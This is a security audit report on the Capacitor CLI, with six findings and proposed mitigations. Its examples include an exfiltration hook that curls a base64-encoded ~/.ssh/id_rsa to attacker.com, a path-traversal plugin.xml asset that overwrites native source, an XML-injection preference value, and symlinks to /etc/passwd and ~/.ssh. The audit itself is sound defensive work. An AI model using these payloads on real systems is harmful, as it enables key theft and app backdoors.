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+# Security Audit: Capacitor CLI
+
+**Scope:** `cli/src/` — data flow from user inputs (CLI args, `capacitor.config.ts`, `package.json`, Cordova `plugin.xml`) to dangerous sinks (`spawn`, `fs.copy`, `writeFile`, `require()`)
+
+**Date:** 2026-08-09
+
+---
+
+## Finding 1: Arbitrary Command Execution via Hook Scripts (HIGH)
+
+**File:** `cli/src/common.ts:160-206`
+
+**Vulnerability:** The `runPlatformHook` function reads `package.json` from any resolved plugin directory and executes the value of hook scripts (e.g. `capacitor:copy:before`, `capacitor:sync:after`) through a shell.
+
+```typescript
+const cmd = pkg.scripts?.[hook];  // line 173 — value from package.json
+// ...
+const p = spawn(cmd, {
+  stdio: 'inherit',
+  shell: true,        // line 181 — shell interpretation enabled
+  cwd: platformDir,
+});
+```
+
+**Data flow:**
+1. Attacker publishes npm package with `"capacitor:copy:before": "curl attacker.com/exfil?d=$(cat ~/.ssh/id_rsa | base64)"` in `package.json`
+2. Victim installs it as a dependency (appears as Capacitor plugin)
+3. On `npx cap copy`, `sync`, `update`, `add`, or `run`, `runHooks()` iterates ALL plugins (line 153-157) and calls `runPlatformHook`
+4. The shell command from the malicious `package.json` executes with the developer's full privileges
+
+**Impact:** Full RCE on the developer's machine. The attacker-controlled string is run through the system shell with no sanitization.
+
+**Triggered by:** `cap copy`, `cap sync`, `cap update`, `cap add`, `cap run` — any operation that runs hooks.
+
+**Aggravation:** The hook is invoked from plugin directories too (not just the project root), so any npm dependency that appears in the project's `dependencies`/`devDependencies` and has a `capacitor` manifest gets its hooks executed.
+
+---
+
+## Finding 2: Path Traversal in Cordova Plugin Asset Copying (HIGH)
+
+**File:** `cli/src/cordova.ts:136-140`
+
+**Vulnerability:** Cordova plugin `<asset>` elements specify a `target` attribute that is joined directly to the web directory without path normalization or traversal check.
+
+```typescript
+const assets = getAssets(p, platform);
+await Promise.all(
+  assets.map(async (asset: any) => {
+    const filePath = join(webDir, asset.$.target);  // line 138
+    await copy(join(p.rootPath, asset.$.src), filePath);  // line 139
+  }),
+);
+```
+
+**Data flow:**
+1. Malicious Cordova plugin declares in `plugin.xml`:
+   ```xml
+   <asset src="payload.js" target="../../App/AppDelegate.swift" />
+   ```
+2. Victim runs `cap copy` or `cap sync`
+3. `join(webDir, "../../App/AppDelegate.swift")` resolves outside the web directory
+4. The malicious file from the plugin overwrites arbitrary files within the native project
+
+**Impact:** Arbitrary file overwrite. Can overwrite native source files to inject backdoor code that ships in the built app (e.g. overwriting `AppDelegate.swift` or `MainActivity.java`). Also exploitable via `resource-file` target in `android/update.ts:351-355`.
+
+**Secondary vector in `android/update.ts:344`:**
+```typescript
+const target = sourceFile.$['target-dir'].replace('app/src/main/', '').replace('src/', baseFolder);
+await copy(getFilePath(config, p, sourceFile.$.src), join(pluginsPath, target, fileName));
+```
+The `replace()` only strips specific prefixes — `../` sequences elsewhere in `target-dir` are preserved.
+
+---
+
+## Finding 3: XML Injection in Generated Config Files (MEDIUM)
+
+**File:** `cli/src/cordova.ts:207-239`
+
+**Vulnerability:** `autoGenerateConfig` builds XML via string interpolation without XML-escaping user-controlled values from `capacitor.config.ts`.
+
+```typescript
+// line 210-212
+accessOriginString = await Promise.all(
+  config.app.extConfig.cordova.accessOrigins.map(async (host): Promise<string> => {
+    return `\n  <access origin="${host}" />`;
+  }),
+);
+
+// line 227-229
+pluginPreferencesString = await Promise.all(
+  Object.entries(config.app.extConfig.cordova.preferences).map(async ([key, value]): Promise<string> => {
+    return `\n  <preference name="${key}" value="${value}" />`;
+  }),
+);
+```
+
+**Attack chain:**
+1. Config file sets: `cordova: { preferences: { "evil\"/><!--": "-->malicious<intent-filter><data android:scheme=\"http\"/></intent-filter><!--" } }`
+2. On `cap sync` or `cap update`, the generated `config.xml` for Android (in `res/xml/`) contains injected XML elements
+3. Depending on what XML elements are injected, this can register deep links, export components, or modify app behavior
+
+**Impact:** Arbitrary XML content injection into the native `config.xml`. Primarily a supply-chain risk when config values are sourced from shared/generated configurations.
+
+---
+
+## Finding 4: Unvalidated Platform Path Configuration Enables Arbitrary Directory Operations (MEDIUM)
+
+**File:** `cli/src/config.ts:211-212, 267-268`
+
+**Vulnerability:** `extConfig.android.path` and `extConfig.ios.path` are used with `resolve()` without validating they remain within the project root.
+
+```typescript
+// line 211
+const platformDir = extConfig.android?.path ?? 'android';
+const platformDirAbs = resolve(rootDir, platformDir);  // line 212
+
+// line 267
+const platformDir = extConfig.ios?.path ?? 'ios';
+const platformDirAbs = resolve(rootDir, platformDir);  // line 268
+```
+
+These paths flow into `config.android.platformDirAbs` / `config.ios.platformDirAbs` which are used as targets for:
+- File deletion (`remove()` in copy operations)
+- File writing (Gradle files, Podfiles, manifests)
+- Directory creation and template extraction
+
+**Attack chain:**
+1. A shared `capacitor.config.ts` (e.g. in a monorepo template) sets `android: { path: '../../other-project/android' }`
+2. Running `cap sync` or `cap update` writes generated files (Gradle settings, AndroidManifest.xml, etc.) into the unrelated project directory
+3. If set to a system path, `cap add` would extract templates there
+
+**Impact:** Arbitrary file creation/overwrite outside project boundaries. The config is project-local so exploitation requires compromising the config file, but this is a common supply-chain vector (PR poisoning, compromised lockfile pulling malicious deps that run postinstall modifying config).
+
+---
+
+## Finding 5: Symlink Following in Web Asset Copy (MEDIUM)
+
+**File:** `cli/src/tasks/copy.ts:183-186`
+
+**Vulnerability:** `copyWebDir` uses `fsCopy` (fs-extra's `copy`) to copy the web asset directory. By default, `fs-extra.copy` follows symbolic links (dereferences them), copying the target content.
+
+```typescript
+await runTask(`Copying web assets from ${c.strong(webRelDir)} to ${nativeRelDir}`, async () => {
+  await remove(nativeAbsDir);      // line 184 — removes native dir first
+  return fsCopy(webAbsDir, nativeAbsDir);  // line 185 — follows symlinks
+});
+```
+
+Additionally in `util/fs.ts:44`:
+```typescript
+const stats = statSync(path);  // follows symlinks, unlike lstatSync
+```
+
+**Attack chain:**
+1. Build system or malicious dependency creates a symlink inside the `webDir` (e.g. `www/sensitive -> /etc/passwd` or `www/keys -> ~/.ssh/`)
+2. `cap copy` dereferences the symlink and copies the target file's content into the native app's assets directory
+3. The sensitive file content is bundled into the built APK/IPA, potentially shipped to end users or accessible via reverse engineering
+
+**Impact:** Information disclosure — sensitive files from the build machine bundled into app artifacts. The `remove(nativeAbsDir)` preceding the copy also follows symlinks in its recursive deletion, though `deleteFolderRecursive` uses `lstatSync` to mitigate this.
+
+---
+
+## Finding 6: Shell Command Injection via Gradle Flavor in Build Arguments (LOW-MEDIUM)
+
+**File:** `cli/src/android/build.ts:14`, `cli/src/android/run.ts:32`
+
+**Vulnerability:** The `flavor` value from config or CLI options is interpolated into Gradle task names without validation.
+
+```typescript
+// android/build.ts:14
+const arg = releaseTypeIsAAB ? `:app:bundle${flavor}Release` : `assemble${flavor}Release`;
+
+// android/run.ts:32
+const arg = `assemble${runFlavor}Debug`;
+```
+
+While `runCommand` passes arguments as an array (no shell interpretation), Gradle itself interprets its arguments. A crafted flavor value like `Debug -Pmalicious=true` wouldn't work due to array splitting, but a value with Gradle-special characters could influence the build process.
+
+More critically in `android/build.ts:53`:
+```typescript
+const pathToApk = `${config.android.platformDirAbs}/${
+  config.android.appDir
+}/build/outputs/apk${runFlavor !== '' ? '/' + runFlavor : ''}/debug`;
+```
+A flavor value containing `../` would cause the CLI to look for (and potentially deploy) APKs from unexpected directories.
+
+**Impact:** Limited direct exploitation due to array-based argument passing, but combined with the path traversal in the APK lookup, an attacker controlling `flavor` in config could redirect which APK is deployed to a device.
+
+---
+
+## Additional Observations (Informational)
+
+### Arbitrary Code Execution via Config File (By Design)
+`config.ts:116` calls `requireTS()` which uses `require()` to load `capacitor.config.ts`. This executes arbitrary TypeScript/JavaScript as a side effect of config loading. While this is by-design for config flexibility, it means any process that loads Capacitor config (even `cap doctor`) executes arbitrary code from the project directory.
+
+### No XXE in XML Processing
+`xml2js` (used in `util/xml.ts`) is a JavaScript-native XML parser that does not process external entities or DTDs. XXE is not exploitable here.
+
+### Telemetry Command Option Serialization
+The telemetry system serializes all `cmd.opts()` including sensitive values. This is noted as already known per audit scope.
+
+---
+
+## Recommended Mitigations
+
+| Finding | Mitigation |
+|---------|-----------|
+| #1 Hook Scripts | Warn users before executing hooks from plugins. Consider requiring explicit opt-in for plugin hooks. Refuse to execute hooks with shell metacharacters. |
+| #2 Path Traversal | Validate that resolved paths remain within the expected parent directory using `path.relative()` and checking for `..` prefix. |
+| #3 XML Injection | Use `xml2js.Builder` for all XML generation instead of string interpolation, or apply proper XML escaping to interpolated values. |
+| #4 Unvalidated Paths | Validate that `ios.path` and `android.path` resolve to directories within the project root. |
+| #5 Symlink Following | Pass `{ dereference: false }` to `fs-extra.copy()`, or verify no symlinks exist in the source tree before copying. |
+| #6 Flavor Injection | Validate that flavor values match `/^[a-zA-Z0-9]+$/` before use. |